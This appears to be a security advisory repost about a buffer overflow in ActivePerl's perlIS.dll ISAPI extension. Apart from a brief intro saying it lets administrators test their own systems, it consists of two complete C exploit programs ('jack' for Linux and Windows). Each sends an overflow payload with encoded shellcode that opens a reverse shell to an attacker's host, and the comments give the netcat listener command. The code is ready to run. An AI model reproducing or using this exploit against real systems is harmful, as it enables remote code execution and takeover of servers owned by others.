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The NSFOCUS Security Team has found an exploitable buffer overflow vulnerability in the dynamic link library perlIS.dll of ActivePerl. The overflow occurs whenever it handles an overly long filename. Exploitation of this vulnerability would allow an attacker to execute arbitrary code. We reported about this in our previous article: ActivePerl PerlIS.dll Remote Buffer Overflow Vulnerability.
The following is an exploit code that can allow administrators to test their own system for the mentioned vulnerability. |
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Credit:
The information has been provided by Indigo.
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Jack for Linux:
/* jack.c - Active Perl ISAPI overflow exploit by Indigo <indig0@talk21.com> 2001
Usage: jack <victim host> <victim port> <attacker host> <attacker port>
Before executing jack start up a netcat listener with the port set to 'attacker port'
eg: nc -l -p 'attacker port'
You may need to hit return a few times to get the prompt up
main shellcode adapted from jill.c by dark spyrit <dspyrit@beavuh.org>
Greets to:
Morphsta, Br00t, Macavity, Jacob &
Monkfish...Not forgetting D-Niderlunds
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[] =
"\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x8b\x94\xf8\x77\x42\x42\x42\x42"
"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3e\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x55\x3d\x97\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a"
"\x2E\x70\x6C\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x0D\x0A\x00";
int s;
unsigned short int a_port;
unsigned long a_host;
struct hostent *ht;
struct sockaddr_in sin;
printf ("\njack - Active Perl ISAPI overflow launcher\nby Indigo <indig0@talk21.com> 2001\n\n");
if (argc != 5)
{
printf ("Usage: %s <victim host> <victim port> <attacker host> <attacker port>\n", argv [0]);
exit (1);
}
if ((ht = gethostbyname(argv[1])) == 0){
herror(argv[1]);
exit(1);
}
sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));
a_port^=0x9595;
sin.sin_family = AF_INET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);
if ((ht = gethostbyname(argv[3])) == 0){
herror(argv[3]);
exit(1);
}
a_host = *((unsigned long *)ht->h_addr);
a_host^=0x95959595;
shellcode[745]= (a_port) & 0xff;
shellcode[746]= (a_port >> 8) & 0xff;
shellcode[750]= (a_host) & 0xff;
shellcode[751]= (a_host >> 8) & 0xff;
shellcode[752]= (a_host >> 16) & 0xff;
shellcode[753]= (a_host >> 24) & 0xff;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
exit(1);
}
printf("\nSending exploit....\n");
if ((connect(s, (struct sockaddr *) &sin, sizeof (sin))) == -1){
perror("connect");
exit(1);
}
write(s, shellcode, strlen(shellcode));
sleep (1);
close (s);
printf ("Exploit sent.\n\n");
exit(0);
}
<B>Jack for Windows:</B>
/* jack.c - Active Perl ISAPI overflow exploit by Indigo <indig0@talk21.com> 2001
Usage: jack <victim host> <victim port> <attacker host> <attacker port>
Before executing jack start up a netcat listener with the port set to 'attacker port'
eg: nc -l -p 'attacker port'
You may need to hit return a few times to get the prompt up
main shellcode adapted from jill.c by dark spyrit <dspyrit@beavuh.org>
Greets to:
Morphsta, Br00t, Macavity, Jacob &
Monkfish...Not forgetting D-Niderlunds
*/
#include <windows.h>
#include <stdio.h>
#include <winsock.h>
void main(int argc, char **argv)
{
SOCKET s = 0;
WSADATA wsaData;
int x;
unsigned short int a_port;
unsigned long a_host;
unsigned char shellcode[] =
"\x47\x45\x54\x20\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f" //GET /cgi-bin/
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42" //offset to return address
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42\x42"
"\x42\x42\x42\x8b\x94\xf8\x77\x42\x42\x42\x42"
"\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90"
"\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95"
"\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95"
"\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3"
"\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa"
"\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91"
"\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6"
"\x5c\xf3\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95\x96\x56"
"\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d\xe1\x94\x95\x95\xa6\x55"
"\x39\x10\x55\xe0\x6c\xc7\xc3\x6a\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95"
"\x7d\xce\x94\x95\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95"
"\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x85\xc5"
"\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18"
"\xd2\x89\xc5\x6a\xc2\x55\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a"
"\xc2\x51\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2\xcd\x14"
"\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95\x18\xd2\xe5\xc5\x18\xd2"
"\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14"
"\x78\xd5\x6b\x6a\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2"
"\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45\x1e\x7d\xc5\xfd"
"\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a\x10\x3e\x95\x95\x95\xa6\x55\xc5"
"\xd5\xc5\xd5\xc5\x6a\xc2\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d"
"\xf3\x52\x92\x97\x95\xf3\x52\xd2\x97\x8e\xac\x52\xd2\x91\x55\x3d\x97\x94"
"\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a\xc2\x49\xa6\x5c\xc4\xc3"
"\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15"
"\xab\x95\xe1\xba\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a"
"\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff\x95\x6a\xa3\xc0"
"\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05\x05\x05\x05\x7e\x27\xff\x95\xfd"
"\x95\x91\x95\x95\xc0\xc6\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1"
"\x09\xff\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2\x49\x7e"
"\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55\x39\x10\x55\xe0\x6c\xc4"
"\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6"
"\xd4\xf1\xf1\xe7\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7"
"\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95\xd2\xf0\xe1\xc6"
"\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0"
"\xc5\xe7\xfa\xf6\xf0\xe6\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1"
"\xc5\xfc\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6\x95\xc2"
"\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4\xf1\xd3\xfc\xf9\xf0\x95"
"\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95"
"\xd6\xf9\xfa\xe6\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6"
"\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6\xfa\xf6\xfe\xf0"
"\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb"
"\xf0\xf6\xe1\x95\xe6\xf0\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb"
"\xf0\xed\xf0\x95\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x33"
"\xc0\xb0\x90\x03\xd8\x8b\x03\x8b\x40\x60\x33\xdb\xb3\x24\x03\xc3\xff\xe0"
"\xeb\xb9\x90\x90\x05\x31\x8c\x6a"
"\x2E\x70\x6C\x20\x48\x54\x54\x50\x2F\x31\x2E\x30\x0D\x0A\x0D\x0A\x00"; //.pl HTTP/1.0 \n\n
printf ("\njack - Active Perl ISAPI overflow launcher\nby Indigo <indig0@talk21.com> 2001\n\n");
if (argc < 2)
{
printf ("Usage: %s <victim host> <victim port> <attacker host> <attacker port>\n", argv [0]);
exit (0);
}
a_port = htons(atoi(argv[4]));
a_port^=0x9595;
a_host = inet_addr(argv[3]);
a_host^=0x95959595;
shellcode[745]= (a_port) & 0xff;
shellcode[746]= (a_port >> 8) & 0xff;
shellcode[750]= (a_host) & 0xff;
shellcode[751]= (a_host >> 8) & 0xff;
shellcode[752]= (a_host >> 16) & 0xff;
shellcode[753]= (a_host >> 24) & 0xff;
WSAStartup (MAKEWORD(2,0),
&wsaData);
s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (INVALID_SOCKET != s)
{
SOCKADDR_IN anAddr;
anAddr.sin_family = AF_INET;
anAddr.sin_port = htons (atoi(argv
[2]));
anAddr.sin_addr.S_un.S_addr =
inet_addr(argv[1]);
if (connect(s, (struct sockaddr *)
&anAddr, sizeof (struct sockaddr)) == 0)
{
printf ("Sending exploit....");
if ((x = send (s,
shellcode, strlen(shellcode), 0)) == 0)
{
printf ("send: error sending first packet\n\n");
exit (0);
}
printf ("Exploit sent.\n\n");
}
closesocket(s);
}
}
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